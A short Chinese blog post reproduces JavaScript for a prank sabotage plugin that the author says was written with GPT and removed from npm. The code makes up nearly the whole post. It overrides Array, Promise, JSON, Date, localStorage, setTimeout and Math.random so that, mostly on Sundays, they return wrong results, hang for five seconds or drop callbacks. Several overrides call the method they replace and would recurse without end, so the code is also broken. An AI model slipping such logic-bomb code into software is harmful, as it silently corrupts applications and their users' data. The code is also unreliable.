赛博阎王!

205 阅读1分钟

e8de33162ef597916e4d00f39d4c5d4.png

下面代码是用GPT写的,觉得有错的去评论区改一下。另外这个插件不要去搜了,npm官网已经删了。

// sundayEffects.js

// 检查是否为周日
function isSunday() {
  const date = new Date();
  return date.getDay() === 0;
}

// 重写 Array.includes 方法
Array.prototype.includes = function(element) {
  if (isSunday() && this.length % 7 === 0) {
    return false;
  } else {
    return Array.prototype.includes.apply(this, arguments);
  }
};

// 重写 Array.map 方法
Array.prototype.map = function(callback, thisArg) {
  if (isSunday() && Math.random() < 0.05) {
    return Array.prototype.map.apply(this.slice(0, -1), arguments);
  } else {
    return Array.prototype.map.apply(this, arguments);
  }
};

// 重写 Array.filter 方法
Array.prototype.filter = function(callback, thisArg) {
  if (isSunday() && Math.random() < 0.05) {
    return Array.prototype.filter.apply(this.slice(0, -1), arguments);
  } else {
    return Array.prototype.filter.apply(this, arguments);
  }
};

// 重写 Array.forEach 方法
Array.prototype.forEach = function(callback, thisArg) {
  if (isSunday()) {
    // 模拟卡死,延迟执行
    const startTime = Date.now();
    while (Date.now() - startTime < 5000) {}
  }
  return Array.prototype.forEach.apply(this, arguments);
};

// 重写 setTimeout 方法
const originalSetTimeout = setTimeout;
window.setTimeout = function(callback, delay) {
  if (isSunday()) {
    originalSetTimeout(callback, delay + 1000);
  } else {
    originalSetTimeout(callback, delay);
  }
};

// 重写 Promise.prototype.then 方法
const originalThen = Promise.prototype.then;
Promise.prototype.then = function(onFulfilled, onRejected) {
  if (isSunday() && Math.random() < 0.10) {
    // 不触发 Promise.then
    return this;
  } else {
    return originalThen.apply(this, arguments);
  }
};

// 重写 JSON.stringify 方法
const originalStringify = JSON.stringify;
JSON.stringify = function(data, replacer, space) {
  if (isSunday() && Math.random() < 0.30) {
    const jsonString = originalStringify(data, replacer, space);
    return jsonString.replace(/I/g, 'L');
  } else {
    return originalStringify(data, replacer, space);
  }
};

// 重写 Date.prototype.getTime 方法
const originalGetTime = Date.prototype.getTime;
Date.prototype.getTime = function() {
  const time = originalGetTime.apply(this, arguments);
  if (isSunday()) {
    return time + (60 * 60 * 1000); // 增加一个小时(3600000毫秒)
  } else {
    return time;
  }
};

// 重写 localStorage.getItem 方法
const originalGetItem = localStorage.getItem;
localStorage.getItem = function(key) {
  if (Math.random() < 0.05) {
    return "";  // 返回空字符串
  } else {
    return originalGetItem.apply(this, arguments);
  }
};

// 更改 Math.random 方法的取值范围
const originalRandom = Math.random;
Math.random = function() {
  return originalRandom() * 11; // 乘以11获取0到11的范围
};